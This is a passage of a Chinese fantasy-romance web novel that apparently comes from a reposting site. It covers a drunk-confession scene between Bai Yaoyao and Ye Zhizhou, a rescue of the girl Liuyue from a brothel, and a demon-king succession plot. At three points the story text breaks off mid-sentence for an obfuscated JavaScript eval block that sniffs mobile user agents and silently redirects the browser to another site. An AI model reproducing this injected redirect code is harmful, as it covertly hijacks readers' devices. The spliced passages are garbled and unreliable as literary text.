他每一声应答都清脆利落,不带半分犹豫。 白夭夭无奈,只得别扭地半倚在床边,竭力向后仰着身子,试图与他拉开距离,两人就以这古怪的姿势僵持了许久。 终究是白夭夭先撑不住,手臂酸麻,腰背也僵了。 “你……坐起来行不行?我累死了。”白夭夭率先败下阵来。 叶知舟默了片刻,竟真听话地、晃晃悠悠撑着床褥坐直了身子。只是双手依旧紧紧攥着她,半分不肯放松。 “叶知舟,”白夭夭趁机调整了个稍舒服的坐姿,盯着他迷蒙的眼睛试探,“你是不是在装醉?” “对!”他忽地提高音量,用力点了点头,神情中竟有几分邀功似的得意。 白夭夭狐疑地打量他,这模样,倒真像是醉了。 “那你知道我是谁吗?” “夭夭……”他突然笑起来,眼角微微弯起,竟有几分罕见的、毫无防备的柔软。 “那你为什么偏赖着我?是不是因为我灌你酒,你故意报复?” “是!”他答得异常亢奋,眼神亮晶晶的。 看来是真醉了。 白夭夭想,叶知舟就算要演,也断不会把自己演成个傻里傻气的醉鬼。 可他偏又能听懂问题,给出回应。 白夭夭灵光一闪,这难不成是所谓的酒后吐真言? 一个大胆的念头窜上来,这岂不是打探秘密的绝佳时机? “你知道百灵是谁吗?” “知道!” “你是不是总是针对她?” “是!” “你为什么针对她,是因为她不愿意为你干活吗?” “是!” 进展顺利得让白夭夭几乎想拍拍他的头夸一句“真乖”。 她趁热打铁:“那你以后不为难她了,行不行?” “不行!” “……”好吧,高兴得太早了。 眼看百灵这个话题被她问堵了,白夭夭只能换一个人。 左思右想,白夭夭决定问一问她自己。 “你今天为什么要白夭夭服侍你,是因为你讨厌她故意为难她吗?” “不是。” “那是为什么?” 叶知舟忽然抿紧了嘴唇,不吭声了。 怎么到关键处就哑巴了?白夭夭耐着性子:“你是不想回答这个问题?” “不是。” 能听见,也不是不想答。 白夭夭琢磨着,或许是她问得太绕了?从进门到现在,叶知舟似乎只能说些极简短的词句。 为了验证自己的猜想,白夭夭又继续问道:“你讨厌白夭夭吗?” “不。” “那你……”白夭夭停顿片刻,有些难以启齿道,“喜欢她吗?” 总而言之,叶知舟一定不会对她无感,不然不会把她升为管家娘子,故意安排她坐在自己身上,有事没事总找她,还背地里偷偷监视她。 可是当她问出“喜欢”的那一刻,她又后悔了,害怕是真的,她宁愿叶知舟讨厌她恨她。 方才几乎有问必答的叶知舟,又一次沉默了。 白夭夭屏住呼吸,在内心暗暗祈祷:千万别回答,继续装哑巴就好。 可叶知舟偏不遂她的愿。 他眨了眨眼,然后双手捧起她仍被握着的手,凑到眼前,像是要确认什么似的端详了片刻,而后才一字一顿,清晰无比地吐出两个字:“喜、欢。” 要疯了。 白夭夭觉得脑子里“嗡”的一声,有什么东西炸开了。 肯定是醉话!不能信! 而叶知舟此时的模样乖巧虔诚,活像一个忠诚的信徒。 肯定也是装的! 白夭夭为了打假叶知舟,继续刚才的话问道:“你喜欢白夭夭的话,以后可以不为难她吗?” “可以。” 叶知舟又一次让白夭夭失算了。 “那看在白夭夭的面子上。”白夭夭不信邪地追问,“你以后可以不为难百灵了吗?” “可以。” 叶知舟还是不按套路出牌。 答得这么爽快,反倒像在敷衍画饼了。白夭夭决定结束这危险的话题。 思绪飘忽间,另一个名字浮上心头。 “小五。”白夭夭鬼使神差想起了他,“还有没有和你联系?” “有。” “他为什么不当面见我,是他不想见到我,怕我妨碍他吗?” “不是。” “那是他害怕看见我吗?害怕想起不堪的过去。” “是。” 果然。 白夭夭心口像被细针刺了一下,一个爱慕虚荣、一心往上爬的人,怎会愿意面对曾经与她一同在泥泞里打滚的落魄回忆。 但他为什么不和过去彻底完完全全断干净呢?只要他想,这辈子都可以不见到白夭夭,而白夭夭也不会去找他的。 “他是……后悔了吗?”白夭夭情不自禁道。 叶知舟晃了晃晕红的脑袋,含糊嘟囔:“……不知道。” “他不会后悔的。”白夭夭忽地笑起来,眼神却是冰凉的,“他只会想,当初为什么巴结上的是我,一个没权没势、只会拖后腿的叫花子,他就算会后悔,也是后悔没早点甩开我,去过他的好日子。” 喉头有些发哽。 她想起破庙里那场简陋的“拜堂”,想起菩萨像前她曾悄悄许下的、关于永远的幼稚心愿,她是真的想过,要和他一直一直在一起。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223129|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他知道吗?”她望着虚空,声音轻得像叹息,“我恨他。” 恨他不告而别,恨他给了她希望,又亲手掐灭。 而在这份恨意之下,是更深的、连自己都不愿承认的失落与伤怀。 叶知舟没有回答。 他只是依然握着她的手,掌心滚烫,目光迷蒙地落在她脸上,像是在努力辨认她此刻的神情。 那专注的样子,竟让白天天有一瞬间的恍惚,仿佛透过这张醉意醺然的脸,看到了某个遥远而熟悉的影子。 一滴泪控制不住从眼角滑落。 或许她也醉了,白夭夭想,竟然把叶知舟看成是小五了。 她记得小五的模样,清秀白皙,站起来的时候还有两颗虎牙,特别好看。 和叶知舟一点也不一样。 叶知舟也没有回答她的问题。 他只是松开了紧握她的手。 那力道卸得突然,让白夭夭因一直对抗着的惯性而向后微仰。 然后,在她愣神的注视下,他抬起手,动作有些迟缓,指尖带着微醺的温度,轻轻触了触她湿润的眼角。 白夭夭僵住了,连呼吸都屏住。 这个动作太陌生,也太温柔,还带着一点模糊的、属于遥远过去的影子。 小五也曾在她偷偷哭的时候,笨拙地用手指轻轻擦拭她的眼角。 “别……”他喉间滚出一个含糊的音节,像是叹息,又像是无意识的呢喃。 手指只在她眼角停留了一瞬,便滑落下去,重新垂在身侧。 他看起来更醉了,眼帘半阖,头也低垂下去,仿佛刚才那一下触碰耗尽了气力,也打断了白夭夭那汹涌而出的恨意与悲伤。 气氛陡然变得粘稠而安静。 白夭夭胸中翻腾的情绪,被他这一个突兀又轻柔的动作戳了一个小孔,慢慢泄了气,只剩下满满的、无处安置的困惑。 她刚才那些话,他听见了吗?又听懂了吗? 那个“别”字,是什么意思?别恨?别哭?还是别的什么? “……叶知舟?”她试探地很轻地叫了一声。 他没有反应,呼吸似乎变得绵长均匀了些,像是要睡着了。 白夭夭又等了一会儿,然后小心翼翼地、一点一点地从他身边挪开。 这次,他没有再伸手抓住她。 她站在床边,心情复杂地看着似乎陷入昏睡的叶知舟。 刚才那个触碰的触感还留在皮肤上,带着灼人的温度。 她用力抹了抹眼角,把残余的湿意擦掉,也像要擦掉那点不该有的恍惚。 “算了。”她低声对自己说,更像是一种无奈的终止,“跟一个醉鬼较真什么。” 她替他胡乱拉了拉滑落的被子,盖到腰间,动作算不上温柔。 做完这些,她吹灭了最近的烛火,只留下一盏角落里的灯,散发着昏暗的光。 走到门边,她忍不住又回头看了一眼。 叶知舟安静地躺在光影交界处,轮廓模糊,看起来无害,甚至有些脆弱,与平日那个心思莫测的叶老板判若两人。 白夭夭轻轻带上了门。 门扉合拢的轻微声响之后,床榻上,本该醉死的叶知舟,缓缓睁开了眼睛。 眼底一片清明,没有半分醉意。 他静静望着帐顶模糊的纹路,方才触碰过她眼角的指尖,几不可察地蜷缩了一下。 耳边似乎还回响着她那句带着哽咽的“我恨他”。 良久,在只有他一人的寂静里,他用几乎只有气息的声音,吐出了两个字: “……知道。” 这两个字太轻,瞬间便消融在昏暗的空气里,仿佛从未存在过。 65. 第 65 章 在开启自己的画皮事业之前,百灵心中还一直有个疙瘩放不下。 是那个在比试中,被她无心伤害的小姑娘。 她想找到她,看看自己有没有什么能帮到她的,也算是替自己赎罪。 虽然当时那个小姑娘并没有告诉自己她的任何消息,她后来四处打听也没有下落。 但她回忆起了一个关键信息,那个老登提了一嘴醉春楼。 即使她很不想承认,但那个小姑娘很可能在那个地狱般的地方。 无论如何,她都要去试一试,碰碰运气。 为了能更快找到她,百灵请求周延玉和她一起去了醉春楼。 这还是百灵第一次去到这种地方。 走在喧闹的街道上,她忍不住压低声音问:“你们妖界……也有这样的地方吗?” “没有。”周延玉答得干脆,“我们不提倡三心二意,对待伴侣都是绝对的忠诚。” “你们那可真好。”百灵忍不住感慨。 “那要不要和我一起回去。”周延玉侧过头,声音里带上一丝引诱,“说不定你的画皮手艺会很受欢迎。” “免了,”百灵想也不想便摇头,“人生地不熟的,我还是老实待在这儿吧。” 意料之中的答案,周延玉只是笑了笑,并没有再继续接话。 两人并肩一同走入醉春楼。 门帘刚掀,脂粉香风便裹着人影涌了上来,瞬间将两人冲散。 周延玉被一群莺莺燕燕围住,百灵则陷入了同样相似的困境,几个衣着鲜艳、涂脂抹粉的男子嬉笑着凑近,将她困在中间。 周延玉第一时间将目光投向百灵,但后者只是给了他一个“我没事”的眼神。 以周延玉这般在风月场里也罕见的俊朗相貌,姑娘们自然热情高涨,争相往他身边挤。 虽然没了花珀和妖丹作眼睛,但百灵额外总木头给他临时雕了两个眼睛,比起以前无神许多,但又莫名多了几分禁欲气质。 周延玉虽不适应这样的场景,但还是装作一副花花公子来者不拒的模样,任由这些女子前仆后继。 一切都在计划之中。 百灵没打算大海捞针,只能利用一下周延玉好用的天赋了。 如果那个小姑娘还在,多久可能和里面的人有交集,就能这样找到她。 只是百灵没想到,醉春楼还有针对于女子的服务。 被围住的她宛如一只被狼群围住的羊羔。 “小娘子,喜欢听曲还是赏舞?奴家都会。” “小娘子看看我,保管让您舒舒服服……” “别理他们,我是这里最便宜的,选我吧姐姐!” “……” 七嘴八舌,吵得百灵头疼。 见她不语,竟有人动手拉扯起来。 “停!”见势头不对,百灵猛地提声一喝,试图讲理,“我不是来寻欢的,也没带银子!” 她以为真诚是必杀计,可他们压根听不进去,而且适得其反。 “那也认了,姐姐生的好看,我就不收钱了。” “小娘子是在玩欲擒故纵对不对,我更喜欢了。” 百灵无语至极。 “你!”她突然抬手指向那个一直“姐姐姐姐”喊她的瘦弱男子,“这个口脂不适合你,太俗气了,换一个浅色试试。” 被点名的男子愣在原地。 旁边的人还准备幸灾乐祸看热闹取笑他,结果下一个就到了他。 “还有你!”百灵毫不留情,“脸上的白粉涂得没一点气色,穿的衣服也跟个大公鸡似的,看的我眼睛疼!” “你也有份!”百灵根本停不下来,“额头上的花钿画的也太糟糕了,说话夹着嗓子像嘴里含了刀片,难听死了。” “……” 她语速快,眼神利,挨个点了一圈,方才还喧闹的几人顿时鸦雀无声。 或许是百灵的攻击力太强,气势太猛了,竟无一人上前反击。 甚至还有人因为被说中了,眼里泛着泪花委屈的不行。 百灵丝毫不心软,趁热打铁冷漠道:“不想再挨骂的,立刻走人,离我远点。” 她话音刚落,围在她身边的人纷纷默契退下了。 百灵忽然有些愧疚了,作为画皮师,她说的是实话,但不得已只能用攻击性很强的语言表达出来,才能让他们知难而退。 成功结束完自己这边,百灵忙四处寻找周延玉。 幸亏周延玉个子高,百灵一下就看见被簇拥着的他。 这么久了,回溯也该结束了吧。 百灵走近了些,用力踮起脚尖,想让周延玉看见自己,提示他自己好了。 但周延玉太受欢迎,根本注意不到百灵。 没办法,百灵心一横,开始使劲往人堆里挤进去。 她像条狡猾的鱼用力往里钻。 百灵觉得自己快窒息了。 脂粉香气混杂着体温,挤得她几乎窒息。就在她力竭时,一只温热的手稳稳抓住了她的手腕。 百灵一下就感觉到那是周延玉,像抓住救命稻草般反手紧紧攥住他。 一阵推搡拉扯,她终于突破重围,跌撞到周延玉身前。 可四周实在拥挤,她几乎是被挤得紧贴在他胸膛上,动弹不得。 “好了。”周延玉的声音从她头顶传来,手臂环过她肩背,将她护在怀里,“我选她,各位请散了吧。” 显然,他口中的她,就是百灵。 知道他是在逢场作戏,百灵的脸却“腾”地烧了起来。 也许是被挤得太热了,她想。 “可她不是我们楼里的人呀,公子莫不是认错了?”有眼尖的姑娘质疑。 百灵的装束和这里格格不入,一下就被识破了。 “没有认错。”周延玉淡定回应,“她是我娘子,我来捉她回家的,浪费你们时间,对不住各位了。” 闻言,姑娘们惊掉了下巴。 “你娘子来逛花楼?” “是不是搞错了,应该是你娘子来抓你吧?” “是我惹她生气了,”周延玉从善如流,一本正经地胡诌,“她这才故意来此气我。” 百灵把脸死死埋在他衣襟里,半声不敢吭,心里恨不得咬他一口。 该死的周延玉,胡说八道什么呢。 “借过。”周延玉索性手臂用力,将她稳稳抱了起来,另一只手拨开人群,“多谢。” 直到出了醉春楼,踏上街道,周延玉才将百灵放下。 脚一沾地,百灵便头也不回地疾步往前走,她耳根通红,不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226570|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让周延玉看见。 “百灵,你等等我。”周延玉愣了一瞬,连忙追上。 百灵不理。 “百灵。”他快走几步,握住她手腕,“停一停。” 百灵没有挣脱,真的停了下来。 一路小跑,她冷静了不少。 “对不起,是我的错。”周延玉小心翼翼开口道。 “你错哪了?”百灵反问。 “不该随便碰你,也不该为了脱身说你是我……”周延玉低着头有些不好意思道。 他虽然知错,但不后悔。 “行了。”百灵假装一副坦荡释然的态度,“这次就算了。” 算了?是懒得和他计较,还是对他的接触并不排斥? 百灵并非不在意,而是正事要紧:“你看见她了吗?” “看见了。”周延玉收敛神色,正色道,“她叫榴月,是里面的姑娘。” “那她还在吗?”百灵说着就要折返去醉春楼,“我们去找她。” “等等。”周延玉及时止住她,“她不在了,她去了无忧阁。” “无忧阁?”百灵心中有股不详的预感,“她是想忘掉过去那些痛苦的回忆吗?” “应该是。”周延玉点头,“毕竟她没有选择。” 事情出乎意料,百灵不由得凝眉思忖。 “所以,你还去找她吗?” “去。”百灵虽担忧很可能榴月认不出自己,但总归还是要亲眼看看她,“她没得选,但我可以选。” 从表面上,也许遗忘对于目前的榴月来说是个好的选择,但百灵隐隐有股担忧。 把痛苦的记忆完全抹去,以后产生了新的痛苦怎么办?一直抹去吗? “如果是你遇到了难以释怀的事情,你会去无忧阁吗?”百灵问周延玉。 “我不会。”周延玉回应道,“我会直接解决让我痛苦的根源,斩草除根。” 百灵无奈叹息一声:“可惜她不行。” 百灵无比同意周延玉的观点和做法,但她同时也理解榴月做出的无奈之举,她没办法和周延玉一样对抗。 “如果是你,你会吗?”周延玉反问。 “以前可能,现在不会了。”百灵认真回忆,“以前姐姐投胎转世留下我一个人的时候,我也想过忘掉。” 她沉思片刻,又道:“可是如果我忘了姐姐离开时的痛苦,可能连同曾经那些美好也会一并忘去,姐姐的离开让我更加怀念曾经,也让我更加珍惜现在。” 周延玉被她的话触动,也许哪天他们面临分别,希望百灵也能记得他,不要忘记。 …… 此时的无忧阁,一间僻静厢房内,香烟袅袅。 床榻上躺着个面容犹带几分稚气的姑娘,脸颊却瘦得凹陷,眼神空寂。 “榴月姑娘,”侍者柔声询问,“你想忘记什么烦心事呢?” “很多……”她声音干涩,透着深深的疲惫,“很多事,很多人,都想忘记。” “好,请您慢慢回想那些想要遗忘的人与事,越细致,忘得便越干净。” 榴月闭上眼,泪水从眼角无声滑落,没入鬓发。 “放心。”侍者的声音催眠一般,“这是你最后一次想起它们了,只要睡一觉,明天醒来便都忘干净了。” 66. 第 66 章 百灵和周延玉来到无忧阁时,正好撞见了走出门的榴月。 “是她。”周延玉通过回溯看见了榴月的样子,因此也第一时间认出了她。 “榴月姑娘。”百灵立刻反应过来,上前叫住了她,“请留步。” 榴月回过头,神情有些木讷。 她上下打量百灵一眼,有些茫然道:“有什么事吗?” “你还记得我吗?”百灵轻声问。 “我们……认识吗?”榴月微微蹙眉,神情困惑。 百灵与周延玉对视一眼,彼此眼中映出同样的了然与沉重。 她果然忘记了,连同那段不堪的过往,以及百灵这个无意中成为她噩梦一部分的人,一并抹去了。 百灵心中那根刺扎得更深了些。 事已至此,她只能陪着榴月一起忘记,绝不能再贸然揭开伤疤。 “许是我认错了人,”百灵垂下眼,随口寻了个借口,“只是觉得姑娘有些面善。” “哦。”榴月点点头,转身要走。 “你这是要去哪儿?”百灵忍不住追上前。 “醉春楼。”榴月脱口而出,语气平常得像在说回家。 百灵心中猛地一沉,看来她还没忘记这个给她造成恐怖回忆的地方,只是单纯忘记了不好的经历。 见百灵神色有异,榴月眼底掠过一丝警惕,低头加快脚步。 “等等!”百灵情急之下拦住她,“你能不能别去?” 她不能眼睁睁看着悲剧重演。这一次,她必须做点什么。 榴月停下脚步,目光在百灵和周延玉之间来回扫视,戒备更深:“你想做什么?” “她是画皮师。”周延玉替百灵答道,“想找一个学徒,觉得你很合适。” “对,我是画皮师。”百灵立刻顺着台阶道,“你长得很好看,能做我的学徒吗?” 榴月没有说话,只是抱紧了手臂,显然不信这突如其来的好意。 “你其实也不愿回去的,对不对?”百灵放软声音,“我们可以帮你。只要你愿意,他们找不到你。” 榴月眼神动摇了一瞬,仍摇头:“我凭什么相信你们?” “我们不会害你,真的!”百灵急得声音发颤。 “你可以不信,”周延玉忽然道,声音里透出几分刻意的冷淡,“但机会只此一次。” 百灵焦急递给周延玉一个眼神,她知道他是想用激将法逼她,但万一榴月不吃这一套真的走了怎么办。 榴月咬住下唇,欲言又止。在百灵期盼的目光中,她终究别开脸,转身欲走。 “别——” 百灵话音未落,周延玉已上前一步,抬手在榴月颈后轻轻一击,少女身子一软,向前倒去,被他稳稳接住。 “你做什么!”百灵惊道。 “她不信我们,说再多也没用。” 是这样没错,但百灵还是觉得周延玉的做法不妥。 “你信不信。”周延玉看了眼榴月,“今晚我们放她走了,就再也见不到她了。” 周延玉显然话里有话。 百灵怔住了。 “搭把手。”周延玉示意百灵扶住榴月,他再蹲下身背起她。 事已至此,百灵只能顺其自然了。 “回去我再和你说。”周延玉耐心叮嘱道。 “好。”百灵颔首。 两人一路无话,只不约而同加快脚步。 回到客栈,周延玉将榴月安置在百灵的床榻上,百灵细心地为她盖好薄被。 “方才,究竟是怎么了?”百灵掩上门,急切地问。 “有妖在跟踪我们。” “妖?”百灵心下一紧,“是冲你来的?” “不。”周延玉眉头深锁,“是冲她来的。” 百灵瞬间意识到妖怪是准备附身在榴月身上。 可为什么偏偏是她,不选别人呢? “因为她失忆了。”周延玉看穿她的疑问,“记忆空缺之人,心神最是不稳,妖怪觉得更好下手。” 说完,周延玉又提起上次和白夭夭一起抓小偷的事。 两者殊途同归。 失忆的人丢失掉的记忆,将是一片空白,不会有新的记忆补上来,所以他们常常试图想起忘记的记忆。 但怎么也想不起来,这时妖怪则会趁虚而入,附身的同时,将自己的记忆慢慢融入,降低他们的抵抗。 “附身的妖怪,是不是会慢慢吞噬掉原主的记忆,然后变成自己的?”百灵猜测道。 “是的,他们想要的从来不只是一具躯壳。”周延玉严肃道,“而且彻底取而代之。” 百灵看向床上的榴月,更坚定了要护她周全的念头。 “这不是偶然,对吗?”百灵之前一直猜不透叶知舟为什么要开无忧阁,现在似乎明白了,“不管是之前的王二铁,还是榴月。” “嗯。”周延玉应了一声,沉默片刻,低声道,“对不住。” 百灵一愣:“我并非在责怪你……” “是我这个妖王,当得失职。”周延玉闭上眼,嗓音沙哑,“才会被身边人蒙蔽至此,酿成今日之祸。” “这不全是你的错。”百灵轻声道。 “是我的错。”他摇头,“许是我太固执,寸步不让,才将事情逼到这般田地。” 百灵静静看着周延玉,等待他继续说下去。 “三年前,天道降谕,准许我们妖族亦可入轮回转世为人。”周延玉睁开眼,目光投向窗外冥界昏沉的天色,“这本来是件好事,可问题在于,我们妖怪要和冥界的鬼一同竞争。” “可是我们投胎转世也很难。”百灵眉头紧皱。 虽然她自己并没有投胎的执念,但作为鬼,她也不愿意让给妖怪。 因为她见过了太多为了转世投胎努力奔波的鬼魂,为了拼个好点的来生,他们不分昼夜的劳作。 “是的,冥王也是这么想的,他只愿意分出一点点的名额给我们。”周延玉面色沉重,“可想要成人的妖怪太多了,根本不够。” “为什么非要变成人不可?”百灵不解,明明妖怪都很强大,何必要投胎成一个弱小的人呢。 “因为没有成过人,所以想试试,还有一些始终碌碌无为没有更好出路的妖怪,也想投胎改命,为自己博个出路。” “其实他们和我们也没什么不同。”百灵叹了口气,理解道。 “我和冥王谈判,想为他们多争取一些机会。”周延玉语气悲凉,“可他很强硬,一点不让,甚至出尔反尔,连之前承诺的一点都不愿意,我又怎么可能同意。” “那天道呢?”百灵义愤填膺,“不出面管管吗?” “天命已下,不可以朝令夕改。” “什么狗屁天命!”百灵忍不住骂道。 周延玉默然片刻,继续道:“后来我便将全副心力投于周旋谈判,未曾想身后早已暗流涌动,身边的人蠢蠢欲动,偷袭了我,想取而代之。” “所以你越过了边界来到冥界,还丢了身体,然后遇到了我。” 一切都串上了。 “是的。” “那你知道是谁在背后偷袭你吗?” “我同母异父的哥哥,周玄玉。”周延玉垂眸,最终还是锁定了这个他不愿意相信的对手。 只有在外人眼里一直忠心支持他的周玄玉继位,底下的人才会信服,也只有他宣布自己的死讯,才有人会信。 而且卫影的倒戈,再一次证实了这个人就是周玄玉。 除了他之外,周玄玉和卫影是关系最亲近的。 也只有他,能动摇卫影。 “所以妖怪们闯入冥界附身到鬼怪身上,是他在背后设计的?”百灵试图找出背后的阴谋诡计。 “我猜想他是想通过让妖怪附身的方式取代鬼,然后在以鬼的身份投胎转世。”周延玉分析道。 “但他一个人很难做到,所以选择和叶知舟一同联手。” 百灵总算是捋清楚了。 想起叶知舟做慈善的那副嘴脸,百灵觉得一阵恶心。 幸好自己及时和他划清界限,才不至于同流合污。 百灵有些担忧道:“那卫影呢?是投奔了周玄玉吗?” 周延玉心一沉:“……很有可能。” 虽然他早就猜到,但被百灵这样直白地问出来,他一时难以接受。 “你的妖丹怎么办?”百灵急道,“卫影不会拿给周玄玉吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231958|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 周延玉放任卫影偷走妖丹,试探他的这场赌注还没有定局。 每天他都在想,会不会有某一刻,自己突然死了。 死在了他最信任最亲近的人手里。 卫影不是他的亲兄弟,但早就胜似亲人。 “你还好吗?” 看见周延玉肉眼可见的低落,百灵忍不住关切问。 “没事。”周延玉假装坚强,回避道,“我想出去走走。” 离开这里,不让百灵看见他的脆弱,是他最后的倔强。 “那我陪你吧。”百灵没有读懂周延玉的言外之意,“正好也不打扰榴月休息。” 周延玉未来得及拒绝,已被她催着出了门。 冥界长街,灯火昏蒙。 两人并肩而行,一时无言。 “我想卫影很可能是一时糊涂。”百灵斟酌着开口,“你们之间沟通的太少了,存在误会很正常,等他回来说开了就好了。” “他还会回来么?”周延玉低声问,像在问她,也像问自己。 他也期待着卫影回来,但又害怕希望落空。 “我觉得他会的,虽然他拿走了你的妖丹,但你现在不是还好好的吗?而且他是个忠诚踏实的人,很难有坏心思的,估计就是对你有些怨气而已。” “是我太忽略他了。”周延玉自责道,“从前只想着把他排除在危险之外,,却忘了他要的从来不是庇护。” “你确实小瞧他了。”百灵侧首看他,“他比你想象的更可靠,也许正是你总想将他隔绝于危险之外,才想他的。” 周延玉沉默良久,终是化作一声轻叹:“是我太过自负。” 百灵本想帮周延玉好好开导,让他不要太沉浸在情绪中,没想到他却越发自责难受。 她心下着急,忽而道:“我第一次你时,也觉得你骄傲自大,而且很冷漠。” 周延玉微微一怔。 “可后来我发现,你不是那样的人。”百灵望向他,眼里映着街灯微光,“你聪明果决,心思细腻,甚至很善良,是个很好的人。” 周延玉呼吸一滞,胸口涌起的热潮几乎将他淹没,但他面上却仍竭力维持平静。 “……你不信么?”见他不动声色,百灵追问。 “我信你。”他立刻道,声音有些发紧,“你说的话,我从来都信。” 他顿了顿,望向她的眼睛,一字一句道:“你也是很好很好的人。手艺好,心肠更好,你比我所见过的任何妖都要勇敢。我没有你说的那般好,但你远比我说的还要好上千百倍。” 百灵耳根倏地烧了起来。 比起醉春楼那个迫不得已的拥抱,周延玉这番话更能触动她。 她慌忙别开脸,不敢再看他的眼睛。 明明在雕刻时那双眼睛自己研究,看过了千百变,但嵌入到一具有灵魂的身体里时,她反而退却了。 “我说的不对吗?”看不清百灵的表情,周延玉以为自己说错话了,心下微慌。 “没有。”百灵环抱住自己,顾左右而言他,“外面好像有些凉了。” “要不要妖力?” “好。” 似曾相识的对白。 只是这一次,在周延玉伸手欲握她手腕时,百灵却先一步抬起手,轻轻握住了他的手指。 周延玉受宠若惊。 他心跳得飞快,身体却比跳动的心更快反应,轻轻回握住百灵的手,牢牢包裹住她冰冷的手心,生怕她察觉到自己在做什么后又后悔了。 她的手指微凉,他的掌心却烫得惊人。 两人谁也没说话,只默契地将这原本只需一瞬的接触无限延长。 夜风穿过长街,掠过相握的手,却吹不散指尖交缠的温度。 直到百灵掌心微微沁出汗意,下意识想动一动手指,周延玉却立刻收拢掌心,将她指尖更紧地扣住。 他舍不得放开,即便此刻他自己也燥热难当。 可他太珍惜这一刻,就算百灵只是像以前一样贪恋他的身体,他也认了,心甘情愿。 可万一呢,万一百灵现在清醒得很,想牵手的就是他周延玉? 想到这,他觉得自己幸福的快要飞起来了。 67. 第 67 章 第二天一早,榴月从百灵的床上醒来,一脸茫然观察着陌生的环境。 这是哪里?她昨天不是在无忧阁吗? 出来后遇到了两个奇怪的人,然后…… “你醒了?” 就在这时,百灵从门外推门而入,手里还拿着一个食盒。 她从食盒里端着个热气腾腾的粥进来,没立刻靠近,只是将碗轻轻放在离床不远的桌上。 昨晚她在周延玉的房间歇息,而周延玉则去了卫影的房间。 “这是哪里?”榴月下意识往后靠,直到抵达墙面退无可退,“你对我做了什么?” “这是客栈,我的房间。”百灵柔声解释道,“昨晚没经过你的允许带你到这里来,对不起。” 榴月没动,只是死死盯着她,手指揪紧了被褥:“你把我弄到这里,到底想干什么?卖去更远的窑子?还是别的什么?” “我不是你想的那样。”百灵抬起眼,目光澄澈地看向她,“我只是不想你回醉春楼。” 榴月身体轻轻地颤了一下,别开脸,语气却更硬:“关你什么事?你是我什么人?” “我不是你什么人。”百灵缓缓道,“门没锁,粥在桌上。你若想走,吃完随时可以离开,我只是不能看着你往那个火坑里走,却装作没看见。” 房间里沉默下来,只有粥的微弱热气在飘。 榴月依旧没动,但戒备的姿态稍稍松懈了一丝,她的目光落在自己露出的手腕上,那里有一道淡粉色的旧疤,像蜈蚣。 她下意识想拉袖子遮住,动作却被百灵看在眼里。 百灵的眼神没有嫌恶,也没有好奇,只有一种属于匠人的专注,和一丝心疼。 “那道疤,”百灵忽然开口,声音很轻,生怕刺痛了什么,“时间不短了,当时一定很疼吧?” 榴月猛地抬头,一下撞进百灵温和的眼底。 “我姐姐……”百灵顿了顿,像在回忆什么久远的事,“以前为了保护我,胳膊上也被划了一道很深的口子,留了疤,她总说没事,可我知道,下雨天还会痒。” 榴月揪着被子的手,指节微微发白。 百灵站起身,从随身的布袋里取出几样东西,不是凶器,是几块处理过的素净皮料,几支细笔,一小盒天然的颜料。 她将东西在桌上摆开,动作熟练而轻柔。 “我是画皮师。”她重新坐下,看向榴月,“你若愿意信我一次,我可以试试,让那道疤看起来淡些,不那么明显,就当是为我昨晚的鲁莽赔罪,不收你的钱。” 榴月的眼神在百灵的脸上、那些陌生的工具上、还有那碗冒着热气的粥上来回移动。 许久,她哑着嗓子问:“你为什么对我这么好?” 百灵沉默了更长的时间,再开口时,声音里带上了一种真实的、恳切的痛楚。 “因为你让我想起了我姐姐,收留我的时候她本来要攒好了投胎转世的钱,但因为我却耽搁了,我很无奈,帮你,或许也是在拉一把当年那个无能为力的自己。” 这句话像一把钥匙,轻轻捅开了榴月心防最脆弱的一道锁。 她没说话,但一直挺直的背脊,微微塌下去了一点。 她慢慢地、试探地伸出手,端过了那碗温热的粥。 百灵没有催促,只是安静地看着。 她知道,榴月已经试着开始相信她了。 …… 等榴月吃完,她收拾好东西就走了,给榴月留出思考的空间。 出门外,白夭夭带着一脸复杂难言的神色,找到了百灵。 她把百灵拉到角落,关上门,才压低声音开口,语气里满是犹豫和困惑。 “灵姐,有件事我不知道该怎么办,想跟你商量一下。” “怎么了?”百灵见她神色不对,拉她坐下。 白夭夭抿了抿唇,眼神有些飘忽:“叶知舟前天找了我,他说……” 她顿了顿,似乎在斟酌措辞:“他说,小五心里对我一直有愧,觉得当年不声不响走了,亏欠我太多,所以小五托他转交给我一处临街的小铺面,说是就当一点补偿。” 百灵的心立刻提了起来,眉头紧锁:“他真是在替小五传话吗?” “嗯。”白夭夭点头,从怀里掏出一卷文书,“地契文书我都看了,白纸黑字,写的也是我的名字,他还说小五唯一放心不下的就是我这份旧债,如今有了能力,只盼我能有个自己的地方,安稳度日。” 